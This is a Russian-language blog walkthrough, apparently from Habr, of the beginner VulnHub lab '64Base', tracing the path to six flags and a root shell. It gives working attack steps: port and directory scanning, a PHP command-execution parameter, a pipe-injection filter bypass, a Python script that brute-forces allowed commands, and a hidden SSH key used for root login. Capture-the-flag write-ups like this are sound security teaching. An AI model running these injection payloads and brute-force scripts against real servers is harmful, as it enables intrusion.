Совсем недавно на VulnHub опубликовали новый образ виртуалки под названием 64Base Boot2Root. Задания, как и статья рассчитаны на новичков. Так что не удивляйтесь, если какие-то из решений покажутся слишком простыми.
Начнем
В описании видим количество флагов, и их формат:
There are 6 flags to collect. Each in the format of flag1{ZXhhbXBsZSBmbGFnCg==} Beat the Empire and steal the plans for the Death Star before its too late.
Скачиваем образ, импортируем настройки, открываем свойства виртуальной машины, в разделе Сеть, выставляем сетевой мост на наш адаптер, сохраняем, запускаем. И далее ищем nmap’ом нашу виртуалку
sudo nmap -A 192.168.1.1-255 -p1-65535
Получаем следующий вывод:
Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-12 22:13 MSK
Nmap scan report for 192.168.1.2
Host is up (0.0040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http Apache httpd 2.4.10 ((Debian))
4899/tcp open radmin
62964/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
MAC Address: 08:00:27:68:E7:F8 (Oracle VirtualBox virtual NIC)
2 из 4 портов успешно детектировались — это 80 и 62964, и 2 порта, которые не определились nmap’ом. Но о них позже.
flag1
Переходим по адресу 192.168.1.2:80, попадаем на главную страницу.
На которой в глаза бросается надпись: dmlldyBzb3VyY2UgO0QK
Декодируем это из Base64 и получаем подсказку: view source ;D
Ок, заглянем в код страницы, и рядом с этой надписью видим коммент:
<div class="site-heading"> <h1>64base</h1> <hr class="small"> <span class="subheading">dmlldyBzb3VyY2UgO0QK</span> <!--5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a--> </div>
После преобразования HEX -> ASCII -> Base64 -> ASCII
Получаем первый флаг
flag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg==}
Попробовав преобразовать флаг из base64 в ASCII, можно получить учетные данные
64base:Th353@r3N0TdaDr01DzU@reL00K1ing4
flag2
И так, у нас есть имя пользователя и предполагаемый пароль.
Ищем доступные файлы и директории:
sudo dirsearch -r -u http://192.168.1.2 -e php,txt,bak -w /usr/share/dirb/wordlists/big.txt -f -x 301,403
Нашлась страница с Basic авторизацией /admin. Учетные данные, найденные в прошлом флаге не подошли. На ssh с ними тоже не удалось подключиться. Видимо что-то было упущено.
После недолгих поисков было принято решение распарсить слова со страниц сайта в отдельный словарь. Скрипт на Python в этом помог:
#!/usr/bin/python3 import re import requests import sys def repl(txt): txt = txt.replace('<!', ' ').replace('>', ' ').replace('</', ' ').replace('\n', ' ').replace('<', ' ').replace('"', ' ').replace('=', ' ').replace(':', ' ').replace('--', ' ').replace('/', ' ').replace("'", " ").replace('©', ' ').replace(',', ' ').replace('#', ' ').replace('→a', ' ').replace('?', ' ').replace('.', ' ').replace(';', ' ').replace('(', ' ').replace(')', ' ').replace('{', ' ').replace('}', ' ') return txt.strip() words = [] url = sys.argv[1] req = requests.get(url).text.splitlines() for item in req: item = repl(item) tmp = [x.strip() for x in item.split(' ') if x.strip() != ''] for word in tmp: if word not in words: words.append(word) w = open(sys.argv[2], 'w') for x in words: w.write('%s\n' %(x)) w.close()
Выполним его для каждой найденной нами страницы:
./parser.py http://192.168.1.2/index.html index ./parser.py http://192.168.1.2/about.html about ./parser.py http://192.168.1.2/post.html post ./parser.py http://192.168.1.2/contact.html contact cat index about post contact | sort -u > words.lst
Запустим снова поиск директорий:
sudo dirsearch -u http://192.168.1.2/ -r -f -w words.lst -e php,txt,json,bak -x 301
Нашлась ещё одна интересная директория. Если взглянуть на файл robots.txt, то можно обнаружить запись:
Disallow: /Imperial-class/
Видимо это одна из шуток автора, о которых говорилось в описании.
При переходе запрашивается авторизация, вводим логин и пароль полученные ранее, и мы вошли!
Однако радоваться рано, нас встретило сообщение:
[] ERROR: incorrect path!.. TO THE DARK SIDE!
Поискав на на сайте Imperial-Сlass, находим фразу:
Only respond if you are a real Imperial-Class BountyHunter
Хм, попробовав перейти по адресу 192.168.1.2/Imperial-Class/BountyHunter попадаем на очередную страницу авторизации:
Взглянув на исходный код, видим следующее:
<body bgcolor=#000000><font color=#cfbf00> <form name="login-form" id="login-form" method="post" action="./login.php"> <fieldset> <legend>Please login:</legend> <dl> <dt> <label title="Username">Username: <input tabindex="1" accesskey="u" name="function" type="text" maxlength="50" id="5a6d78685a7a4a37595568534d474e4954545a4d65546b7a5a444e6a645756" /> </label> </dt> </dl> <dl> <dt> <label title="Password">Password: <input tabindex="2" accesskey="p" name="command" type="password" maxlength="15" id="584f54466b53465a70576c4d31616d49794d485a6b4d6b597757544a6e4c32" /> </label> </dt> </dl> <dl> <dt> <label title="Submit"> <input tabindex="3" accesskey="l" type="submit" name="cmdlogin" value="Login" /> <!-- basictoken=52714d544a54626d51315a45566157464655614446525557383966516f3d0a --> </label> </dt> </dl> </fieldset> </form>
Объединяем, преобразовываем HEX -> TEXT -> Base64 -> TEXT, получаем второй флаг:
flag2{aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj12Snd5dEZXQTh1QQo=}
на этот раз в флаг вместо подсказки закодирована ссылка на YouTube
flag3
Продолжим, у нас есть форма авторизации: 192.168.1.2/Imperial-Class/BountyHunter/index.php, попробовав несколько вариантов, можно заметить, что при любой отправке POST запроса к login.php, нас без каких либо ошибок редиректит на index.php.
Попробуем подробнее взглянуть на процесс редиректа, воспользовавшись curl:
curl http://192.168.1.2/Imperial-Class/BountyHunter/login.php -H 'Authorization: Basic NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0'
В ответ на удивление мы получили следующий флаг:
flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2
luLnBocD9mPWV4ZWMmYz1pZAo=}
И новую подсказку, закодированную в нём:
53cr3t5h377/Imperial-Class/BountyHunter/login.php?f=exec&c=id
flag4
Воспользуемся Подсказкой из предыдущего флага и перейдём по адресу 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=exec&c=id
Хм, сразу вспоминаем картинку, со страницы post.html
Заменим EXEC на SYSTEM: 192.168.1.2/Imperial-Class/BountyHunter/login.php?f=system&c=id И получаем новый флаг, подсказку, а так же shell на виртуальной машине.
flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg==}
В подсказке, находим новые учетные данные: 64base:64base5h377
flag5
Немного изучив возможности найденного шела, становится понятно, что список команд доступных к выполнению, сильно ограничен, в добавок имеется фильтр для слеша. Осталось определить какие из них нам доступны.
Создадим словарь для перебора доступных нам команд:
for item in $(ls /usr/sbin/ && ls /usr/bin/ && ls /sbin/ && ls /bin/); do echo $item >> /tmp/unix_command2.lst; done sort -u /tmp/unix_command2.lst > unix_command.lst
Далее скармливаем этот словарь в скрипт на Python:
#!/usr/bin/python import requests import sys, re url = 'http://192.168.1.2/Imperial-Class/BountyHunter/login.php' param = {'f':'system', 'c':''} basic = ('64base', 'Th353@r3N0TdaDr01DzU@reL00K1ing4') if len(sys.argv) == 1: print('Usage: brute_sh.py [wordlist]') sys.exit(0) words = open(sys.argv[1], 'r').read().splitlines() for item in words: param['c'] = '%s --help' %(item) req = requests.get(url, params=param, auth=basic) if len(req.text.splitlines()) > 9: print('Found cmd: %s' %(item))
И получаем такой вывод:
Found cmd: base64
Found cmd: cat
Found cmd: id
Found cmd: locate
Found cmd: ls
Found cmd: nc
Found cmd: ps
Found cmd: w
Found cmd: wget
Found cmd: who
Found cmd: whoami
Не много, однако так как у нас не фильтруется символ | то подставив его в начало команды, получаем возможность выполнить любую. Поиграв с передаваемыми параметрами
получаем такой запрос:
|locate admin|grep html|xargs find
P.S. Здесь и далее я буду приводить непосредственно команды, которые нужно передать в аргумент c
Вывод будет выглядеть так:
/var/www/html/admin
/var/www/html/admin/index.php
/var/www/html/admin/S3cR37
/var/www/html/admin/S3cR37/flag5{TG9vayBJbnNpZGUhIDpECg==}
/var/www/html/admin/.htaccess
/var/www/html/admin/.htaccess
/var/www/html/admin/index.php
Флаг найден, а вместе с ним и новая подсказка: Look Inside! 😀
flag6
Нас просят заглянуть внутрь этого файла. Ок сделаем это:
#Копируем файл в доступную нам директорию |locate admin|grep html|xargs find|grep TG|xargs cp -t . #Изменяем права доступа |ls|grep TG|xargs chmod 777
Открываем в браузере, файл оказался картинкой:
Запустим exiftool и посмотрим метаданные этой картинки
File Name: flag5{TG9vayBJbnNpZGUhIDpECg==}.jpeg
Directory:.
File Size: 192 kB
File Modification Date/Time: 2016:12:16 05:32:02+03:00
File Access Date/Time: 2016:12:16 05:32:08+03:00
File Inode Change Date/Time: 2016:12:16 05:32:02+03:00
File Permissions: rw——-
File Type: JPEG
MIME Type: image/jpeg
JFIF Version: 1.01
Resolution Unit: inches
X Resolution: 72
Y Resolution: 72
Comment: 4c5330744c5331435255644a546942535530456755464a4a566b46555253424c52566b744c5330744c517051636d396a4c565235634755364944517352553544556c6c5156455645436b52460a5379314a626d5a764f69424252564d744d5449344c554e43517977324d6a46424d7a68425155513052546c475155457a4e6a55335130457a4f44673452446c434d7a553251776f4b625552300a556e684a643267304d464a54546b467a4d697473546c4a49646c4d356557684e4b325668654868564e586c795231424461334a6955566376556d64515543745352307043656a6c57636c52720a646c6c334e67705a59303931575756615457707a4e475a4a55473433526c7035536d64345230686f5533685262336857626a6c7252477433626e4e4e546b5270636e526a62304e50617a6c530a524546484e5756344f58673056453136436a684a624552435558453161546c5a656d6f35646c426d656d56435246706b53586f35524863795a323479553246465a335531656d56734b7a5a490a52303969526a686161444e4e53574e6f6554687a4d5668795254414b61335a4d53306b794e544a74656c64334e47746955334d354b31466856336c6f4d7a52724f45704a566e7031597a46520a51336c69656a56586231553157545532527a5a784d564a6b637a426959315a785446567a5a51704e5533704c617a4e745332465851586c4d574778764e3078756258467856555a4c5347356b0a516b557855326851566c5a704e47497752336c475355785054335a3062585a47596a5172656d68314e6d705056316c49436d73796147524453453554644374705a3264354f57686f4d3270680a52576456626c4e51576e56464e30354b6430525a5954646c553052685a3077784e31684c634774744d6c6c70516c5a7956566834566b31756232494b643168535a6a56435930644c56546b330a65475276636c59795648457261446c4c553278615a5463354f58527956484a475230356c4d4456326545527961576f315658517953324e52654373354f457334533342585441706e645570510a556c424c52326c71627a6b3253455248597a4e4d4e566c7a65453969566d63724c325a714d4546326330746d636d4e574c327834595663725357313562574d7854566870536b316962554e360a62455233436c52425632316863577453526b52355154464956585a30646c4e6c566e46544d533949616d6845647a6c6b4e45747a646e4e71613270326557565256484e7a5a6e4e6b52324e560a4d47684561316833556c647a6332514b4d6d517a5279744f616d3078556a56615445356e556d784f63465a48616d684c517a524263325a59557a4e4b4d486f7964444e4355453035576b39430a54554a6c4f5552344f4870744e58684757546c365633527964677042523342794d454a6f4f45745264323177616c4656597a46685a6e4e78595646594d465649546b7859564446615431644c0a616d63305530457a57454d355a454e4665555a784d464e4a65464671547a6c4d52304e48436a52524e57356a5a6c566f62585a3063586c3164454e7362444a6b5746427a57465a455a54526c0a6230517851327432536b354557544e4c554663725232744f4f5577724f554e516554677252453531626b5a4a6433674b4b3151724b7a64525a7939315546684c6354524e4e6a464a555467770a4d7a52566148565356314d30564846514f57463657444e44527a6c4d65573970516a5a57596b74505a555233546a68686157784d533170436377706d57546c524e6b464e4d584e3562476c360a53444675626e684c5433526155566431636e68715230704353584d324d6e526c6245317259584d356555354e617a4e4d64546478556b6732633364504f584e6b56454a70436974714d4867300a64555261616b706a5a30315965475a694d4863315154593062466c4763303153656b5a714e31686b5a6e6b784f53744e5a54684b525768524f45744f57455233555574456556564d526b39550a63336f4b4d544e575a6b4a4f65466c7a65557731656b6459546e703563566f3053533950547a644e5a575179616a4248656a426e4d6a4670534545764d445a74636e4d795932786b637a5a540a56554a4852585a754f4535705667707955334a494e6e5a46637a5254656d63776544686b5a45643255544278567a463254577455556e557a54336b765a544577526a63304e586845545546550a53314a7353316f32636c6c4954554e34536a4e4a59323530436b56364d45394e57466c6b517a5a4461555976535664305a3252564b32684c65585a7a4e484e4764454e4359327854595764740a5246524b4d6d74615a485530556c4a3357565a574e6d394a546e6f35596e4250646b554b556e677a534656785a6d354c553268796458704e4f56707261556c7264564e6d556e526d615531320a596c52365a6d5a4b56464d30597a513451303831574339535a5559765157464e654774695532524654305a7a53517047646a6c595a476b355532524f6458684853455579527a5249646b706b0a53584279526c5679566c4e7755306b344d48646e636d49794e44567a647a5a6e5647397064466f354d47684b4e47354b4e5746354e304648436c6c7059574531627a63344e7a63765a6e63320a57566f764d6c557a5155526b61564e50516d3072614770574d6b705765484a7665565659596b63315a475a734d32303452335a6d4e7a464b4e6a4a4753484534646d6f4b63557068626c4e720a4f4445334e586f77596d70795746646b5445637a52464e735355707063327851567974355247466d4e316c43566c6c33563149725645457861304d326157564a5154563056544e776269394a0a4d776f324e466f31625842444b3364785a6c52345232646c51334e6e53577335646c4e754d6e41765a5756305a456b7a5a6c46584f46645952564a69524756304d56564d5346427864456c700a4e314e61596d6f3464697451436d5a7553457852646b563353584d72516d59785133424c4d554672576d565654564a4655577443614552704e7a4a49526d4a334d6b6376656e46306153395a0a5a4735786545463562445a4d576e704a5a5646754f48514b4c3064714e477468636b6f78615530355357597a4f57524e4e55396851315a615569395554304a575956493462584a514e315a300a536d39794f57706c53444a305255777764473946635664434d56424c4d48565955416f744c5330744c55564f524342535530456755464a4a566b46555253424c52566b744c5330744c516f3d0a
Image Width: 960
Image Height: 720
Encoding Process: Baseline DCT, Huffman coding
Bits Per Sample: 8
Color Components: 3
Y Cb Cr Sub Sampling: YCbCr4:4:4 (1 1)
Image Size: 960×720
Скопируем содержимое поля Comment и выполним те же преобразования, что и с предыдущими флагами. На выходи вместо флага нам дали приватный RSA ключ:
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,621A38AAD4E9FAA3657CA3888D9B356C
mDtRxIwh40RSNAs2+lNRHvS9yhM+eaxxU5yrGPCkrbQW/RgPP+RGJBz9VrTkvYw6
YcOuYeZMjs4fIPn7FZyJgxGHhSxQoxVn9kDkwnsMNDirtcoCOk9RDAG5ex9x4TMz
8IlDBQq5i9Yzj9vPfzeBDZdIz9Dw2gn2SaEgu5zel+6HGObF8Zh3MIchy8s1XrE0
kvLKI252mzWw4kbSs9+QaWyh34k8JIVzuc1QCybz5WoU5Y56G6q1Rds0bcVqLUse
MSzKk3mKaWAyLXlo7LnmqqUFKHndBE1ShPVVi4b0GyFILOOvtmvFb4+zhu6jOWYH
k2hdCHNSt+iggy9hh3jaEgUnSPZuE7NJwDYa7eSDagL17XKpkm2YiBVrUXxVMnob
wXRf5BcGKU97xdorV2Tq+h9KSlZe799trTrFGNe05vxDrij5Ut2KcQx+98K8KpWL
guJPRPKGijo96HDGc3L5YsxObVg+/fj0AvsKfrcV/lxaW+Imymc1MXiJMbmCzlDw
TAWmaqkRFDyA1HUvtvSeVqS1/HjhDw9d4KsvsjkjvyeQTssfsdGcU0hDkXwRWssd
2d3G+Njm1R5ZLNgRlNpVGjhKC4AsfXS3J0z2t3BPM9ZOBMBe9Dx8zm5xFY9zWtrv
AGpr0Bh8KQwmpjQUc1afsqaQX0UHNLXT1ZOWKjg4SA3XC9dCEyFq0SIxQjO9LGCG
4Q5ncfUhmvtqyutCll2dXPsXVDe4eoD1CkvJNDY3KPW+GkN9L+9CPy8+DNunFIwx
+T++7Qg/uPXKq4M61IQ8034UhuRWS4TqP9azX3CG9LyoiB6VbKOeDwN8ailLKZBs
fY9Q6AM1sylizH1nnxKOtZQWurxjGJBIs62telMkas9yNMk3Lu7qRH6swO9sdTBi
+j0x4uDZjJcgMXxfb0w5A64lYFsMRzFj7Xdfy19+Me8JEhQ8KNXDwQKDyULFOTsz
13VfBNxYsyL5zGXNzyqZ4I/OO7Med2j0Gz0g21iHA/06mrs2clds6SUBGEvn8NiV
rSrH6vEs4Szg0x8ddGvQ0qW1vMkTRu3Oy/e10F745xDMATKRlKZ6rYHMCxJ3Icnt
Ez0OMXYdC6CiF/IWtgdU+hKyvs4sFtCBclSagmDTJ2kZdu4RRwYVV6oINz9bpOvE
Rx3HUqfnKShruzM9ZkiIkuSfRtfiMvbTzffJTS4c48CO5X/ReF/AaMxkbSdEOFsI
Fv9Xdi9SdNuxGHE2G4HvJdIprFUrVSpSI80wgrb245sw6gToitZ90hJ4nJ5ay7AG
Yiaa5o7877/fw6YZ/2U3ADdiSOBm+hjV2JVxroyUXbG5dfl3m8Gvf71J62FHq8vj
qJanSk8175z0bjrXWdLG3DSlIJislPW+yDaf7YBVYwWR+TA1kC6ieIA5tU3pn/I3
64Z5mpC+wqfTxGgeCsgIk9vSn2p/eetdI3fQW8WXERbDet1ULHPqtIi7SZbj8v+P
fnHLQvEwIs+Bf1CpK1AkZeUMREQkBhDi72HFbw2G/zqti/YdnqxAyl6LZzIeQn8t
/Gj4karJ1iM9If39dM5OaCVZR/TOBVaR8mrP7VtJor9jeH2tEL0toEqWB1PK0uXP
——END RSA PRIVATE KEY——
Воспользуемся им для подключения по ssh
ssh root@192.168.1.2 -p 62964 -i key.rsa
Пароль как легко догадаться написан на картинке, после успешного подключения мы получаем последний флаг:
flag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1N
GU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU
0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5
MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0
ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNj
M3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}
В котором закодирована команда: base64 -d /var/local/.luke|less.real
И root доступ к виртуальной машине. Задание пройдено!
P.S. Существует ещё как минимум 1 способ пройти эту лабу.
Загружаемся и получаем root. Осмотревшись в системе, переходим в директорию сайта.
Выполнив команду:
cd /var/www/html ls -l | wc -l
Получим количество элементов в данной директории, их оказалось 443. Нам пока понадобится каталог admin. Просмотрев его содержимое в папке S3cR37 находим второй флаг
Здесь же можем найти хеш пароля к этой директории и имя пользователя:
64base:$apr1$SNPbKyA8$0.2pIMdx4JVVA6jsX/Ru30
Смотрим содержимое файла index.html, и получаем первый флаг.
Выполняем команду:
grep -r flag3 /var/www/
И находим третий флаг
Аналогично находим пятый и шестой флаги:
root@64base:~# find /var/www/html/ -name flag*
/var/www/html/admin/S3cR37/flag5{TG9vayBJbnNpZGUhIDpECg==}
root@64base:~# grep -r flag6 /
/root/.profile:echo «flag6{NGU1NDZiMzI1YTQ0NTEzMjRlMzI0NTMxNTk1NDU1MzA0ZTU0NmI3YTRkNDQ1MTM1NGU0NDRkN2E0ZDU0NWE2OTRlNDQ2YjMwNGQ3YTRkMzU0ZDdhNDkzMTRmNTQ1NTM0NGU0NDZiMzM0ZTZhNTk3OTRlNDQ2MzdhNGY1NDVhNjg0ZTU0NmIzMTRlN2E2MzMzNGU3YTU5MzA1OTdhNWE2YjRlN2E2NzdhNGQ1NDU5Nzg0ZDdhNDkzMTRlNmE0ZDM0NGU2YTQ5MzA0ZTdhNTUzMjRlMzI0NTMyNGQ3YTYzMzU0ZDdhNTUzMzRmNTQ1NjY4NGU1NDYzMzA0ZTZhNjM3YTRlNDQ0ZDMyNGU3YTRlNmI0ZDMyNTE3NzU5NTE2ZjNkMGEK}»
Ну и из файла /var/www/html/Imperial-Class/BountyHunter/login.php извлекаем и декодируем четвёрный флаг:
$_u = base64_decode(‘ZWNobyAnPGg0PmZsYWc0e05qUmlZWE5sT2pZMFltRnpaVFZvTXpjM0NnPT19PC9oND4nO2NhdC5yZWFsIC9ldGMvaXNzdWU7ZGF0ZTt1bmFtZSAtYTsvc2Jpbi9pZmNvbmZpZyBldGgwfC91c3Ivc2hhcmUvZ3JlcC5yZWFsIGluZXQ7ZWNobwo=’).’ ‘.$_s;
ссылка на оригинал статьи https://habrahabr.ru/post/317346/
Добавить комментарий